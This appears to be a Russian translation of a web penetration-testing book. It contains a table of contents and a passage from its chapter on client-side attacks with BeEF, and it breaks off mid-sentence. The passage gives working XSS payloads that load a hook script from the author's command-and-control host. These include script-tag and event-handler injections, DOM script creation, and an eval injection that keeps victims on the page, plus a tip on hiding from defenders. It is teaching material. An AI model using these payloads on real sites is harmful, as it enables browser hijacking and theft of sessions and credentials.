- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
BeEF 227 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
В левой части пользовательский интерфейс отображает историю перехва- |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
ченных браузеров или жертв как онлайн, так и офлайн, сгруппированных по исходному домену. Жертву в онлайне можно сразу же эксплуатировать, по- сколькуловушкаактивновыполняетобратныйвызовккомандно-контрольно- мусерверу.Клиенты,которыесейчасневсети,нерегистрировалисьнасервере, но по-прежнему могут эксплуатироваться, когда жертва снова выходит в сеть. Это типично для жертв, атакованных через хранимый XSS, веб-приложения с бэкдорами или расширения браузера.
В правой части истории пойманных браузеров вы найдете стартовую страницу (или Getting Started), журналы командно-контрольного сервера (Logs) и вкладку элемента управления выбранной жертвы (Current Browser), которая представляет особый интерес и включает в себя дополнительные вкладки для сведений, журналов и модулей или команд.
На вкладке Commands можно выбрать модуль для запуска, ввести любые обязательные параметры в крайнем столбце справа,прежде чем нажать кнопкуExecute (Выполнить),инаблюдатьисториювыполнениямодулявцентральном столбце.
Доступных модулей много, и некоторые работают лучше, чем другие. Эффективность выбранного вами модуля (команды) действительно зависит от версии браузера, жертвы и от того, насколько они технически подкованы. В следующих разделах рассмотрим более успешные модули атаки в попытке скомпрометировать объект атаки или получить учетные записи.
Перехват
Посколькукомандно-контрольныйсерверBeEFработаетвоблаке,мыпредо ставили доступ к двум важным URL-адресам:
интерфейс администратора – https://c2.spider.ml/ui/panel;сценарий перехвата – https://c2.spider.ml/hook.js.
Оба URL-адреса заблокированы параметрами beef.restrictions.* в файле конфигурации. Позаботьтесь об использовании соответствующих диапазонов сети для перехвата и ограничений интерфейса администратора.
Файл hook.js, по сути, представляет собой вредоносную программу, которую мы поместим в браузер жертвы, чтобы получить полный контроль над сеансом .Этодовольнобольшойкусоккода,иеголучшевсегодоставлятьввиде внешнего сценария (например, размещенного на нашем командно-контроль- ном сервере), но это не обязательно. Можно скопировать и вставить весь код ловушки в окне консоли браузера, если захотим. Его много, но он совместим с различными браузерами.
Если пытаемся спрятаться отСиней команды,возможно,будетлучше переместить этот файл в менее заметное место, чем c2.spider.ml/hook.js, но
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 228 Глава 9.Практические атаки на стороне клиента |
w Click |
to |
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
в данной главе будем осуществлять перехват жертв с помощью этого URL- |
|
|
|
e |
|
|||||||||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
|
|||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
адреса.
Как я упоминал ранее, когда у нас есть XSS-уязвимость, мы можем создать полезную нагрузку, чтобы использовать новый тег <script>, который будет перехватывать клиента с помощью полезной нагрузки BeEF. В некоторых ситуациях может потребоваться немного больше творчества, чтобы заставить JavaScript выполнять наш код, но конечной целью является вставка полезной нагрузки,такой как следующая:
<script async src=https://c2.spider.ml/hook.js></script>
В распространенной ситуации, когда точка отражения (также известная как приемник) находится внутри HTML-тега, у нас есть несколько вариантов:
исключить уязвимый HTML-тег и открыть новый тег <script>, содержащий код ловушки;
настроить обработчик событий, который будет скачивать и выполнять код ловушки, когда происходит событие, например когда загружается страница или пользователь кликает на элемент.
Первый вариант прост. Мы можем закрыть свойство value двойными кавычками, а элемент input – угловой скобкой, за которой следует наш вредоносный тег <script>.
<input type="text" name="qs" id="qs" value=""><script async src=https://c2.spider.ml/hook.js></script><span id="">
Полученный HTML-код, после того как вредонос будет отражен обратно, автоматически скачает и выполнит код ловушки, предоставляя нам доступ к сеансу просмотра. Ключевое слово async гарантирует, что ловушка скачивается асинхронно и не замедляет загрузку страницы,таким образом подсказав жертве,что что-то идет не так.
Незавершенный тег <span> в конце гарантирует, что оставшаяся часть исходного HTML-кода не будетотображаться на странице,что придаетему более чистый вид.
Если нужно использовать событие для выполнения своего кода, можем настроить обработчик, создав соответствующее свойство on[event] в пораженном HTML-теге. Например, если нужно, чтобы ловушка сработала, когда пользователь кликает по пораженному элементу, можно использовать свойство onclick тега <input>, которое позволяет выполнять произвольный код:
<input type="text" name="qs" id="qs" value="" onclick="alert(document. cookie)" x="">
В предыдущем примере появится окно оповещения с текущими куки-фай- лами, что, как я уже говорил, отлично подходит для демонстрации возможности, но не очень полезно при атаке.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
BeEF 229 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
МожноиспользоватьDOMиJavaScriptдлясозданияновогоэлементаscript, |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
указать его в коде ловушки и добавить в тег <head>.
Благодаря гибкости JavaScript существует миллион и один способ сделать это, но наш код довольно прост.
var hook = document.createElement('script'); hook.src = 'https://c2.spider.ml/hook.js'; document.head.append(hook);
Перваястрокасоздаетпустойобъект,обозначающийтег<script>.Какивслучае со свойством тега src=, в JavaScript можно указать исходному коду сценария на код ловушки. В данный момент фактический код не загружается и не выполняется. Мы создали безобидный DOM-объект. Чтобы использовать его, можно применить функцию append и добавить его в document.head, то есть мы создаем тег <script> в теге <head>.Последняя строка делает именно это,и браузер немедленно и беззвучно скачивает код ловушки и выполняет его.
Наша полезная нагрузка будет выглядеть примерно так:
<input type="text" name="qs" id="qs" value="" var hook = document. createElement('script');hook.src='https://c2.spider.ml/hook.js';
document.head.append(hook);" x="">
И снова используем указанное в конце свойство x =", чтобы убедиться, что никаких странностей,связанных с синтаксическим анализом,нет,и код может быть выполнен чисто.
Еще один распространенный приемник XSS-уязвимостей находится непосредственно в коде JavaScript, где-то на самой странице.
<script>
sure = confirm("Hello [sink], are you sure you wish to logout?"); if (sure) {
document.location = "/logout";
}
</script>
В предыдущем примере сервер отразит контролируемый пользователем текст внутри строкового параметра confirm(). Чтобы воспользоваться этим, можно повторно использовать код для манипуляции DOM, который мы написали ранее, и просто адаптировать его для работы внутри строки, переданной другой функции. Это ни в коем случае не является единственным способом добиться выполнения кода, но это только начало.
С помощью JavaScript можем соединять строки и другие объекты,используя оператор +.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
|
P |
|
|
|
|
NOW! |
o |
|
|||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 230 Глава 9.Практические атаки на стороне клиента |
||||||||||
|
|
|
|
|
|
|
m |
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
alert("One plus one is " + |
prompt("1 + 1 = ") + |
|||
|
|
|
|
|
|
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
"!");
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Функция prompt() возвращаетлюбое строковое значение,которое мы передаем ей, а функция alert() соединяет строки, перед тем как они вернутся к пользователю. С помощью JavaScript можно делать разные странные вещи, но важно отметить, что функция prompt() выполнена. Если у нас есть контроль над тем, что объединено в строку, мы можем выполнить произвольный код
JavaScript.
В предыдущем примере кода вместо возврата нашего имени пользователя заставим приложение вернуть конкатенацию строк, в результате чего будет выполнен код вредоноса.
<script>
sure = confirm("Hello " + eval("var hook = document. createElement('script');hook.src='xxx.xxx';document.head. append(hook);") + ", are you sure you wish to logout?");
if (sure) {
document.location = "/logout";
}
</script>
Наснеособоинтересуетконечныйрезультатконкатенации.Фактическиметод eval не возвращает ничего значимого для отображения. Что нас волнует, так это выполнение данной функции, что, в свою очередь, приведет к выполнению кода нашей ловушки.
Если у вас зоркий глаз,то вы заметите, что у этой инъекции есть небольшая проблема. Если пользователь нажимает кнопку ОК в диалоговом окне подтверждения,для переменной sure будетустановлено значение true и пользователь уйдет с этой страницы,тем самым сводя на нетдействия ловушки.
Чтобыобойтиэтупроблему,нужно«завершить»сценарийиконтролировать ход его выполнения, чтобы убедиться, что страница останется открытой достаточно долго, чтобы мы могли провести второй этап атаки. Разумно было бы исключить функцию confirm, использовать метод eval и сразу после этого установитьдляпеременнойsure значениеfalse.Этобудетгарантировать,что пользователь не уйдет со страницы, если нажмет кнопку OK, поскольку следующее условие if всегда будет оцениваться как ложное.
Нужно слегка изменить наш вредоносный код.
"); eval("var hook = document.createElement('script');hook. src='https://c2.spider.ml/hook.js';document.head.append(hook);"); sure
=false; //
Врезультате унас естьвалидный код,который не позволитоператору if по-
лучитьзначение true и изменитьместоположениедокумента.Мы используем